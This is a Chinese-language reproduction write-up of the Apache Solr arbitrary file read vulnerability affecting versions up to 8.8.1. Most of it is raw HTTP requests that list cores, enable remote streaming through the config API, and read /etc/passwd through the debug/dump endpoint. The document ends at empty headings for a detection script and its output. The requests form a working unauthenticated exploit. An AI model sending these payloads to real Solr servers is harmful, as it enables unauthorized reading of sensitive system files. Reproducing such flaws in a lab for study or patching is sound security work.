Apache Solr任意文件读取漏洞复现

一、简介

Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。

Apache-Solr任意文件读取漏洞漏洞，攻击者可以在未授权的情况下读取目标服务器敏感文件和相关内容。

二、影响版本

Apache Solr <= 8.8.1

三、漏洞复现

安装：

Solr下载地址：自行下载对应满足版本http://archive.apache.org/dist/lucene/solr/

访问页面

第一步：获取core的信息：主要是name

http://xxx.xxx.xxx.xxx/solr/admin/cores?indexInfo=false&wt=json

详细数据包

GET /solr/admin/cores?indexInfo=false&wt=json HTTP/1.1
Host: 127.0.0.1:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.67 Safari/537.36 Edg/87.0.664.52
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

第二步：判断是否存在漏洞:返回200并且包含This response format is experimental. It is likely to change in the future 可能存在，需要进一步的去读取/etc/passwd或者其他进行确认最终是否存在读取漏洞

详细数据包：

POST /solr/tesla/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 80
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8983
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8983/solr/tesla/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}

第三步：读取文件/etc/passwd:

详细数据包：

POST /solr/tesla/debug/dump?param=ContentStreams HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 29
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:8983
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:8983/solr/tesla/config
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

stream.url=file:///etc/passwd

编写检测脚本：

显示读取内容：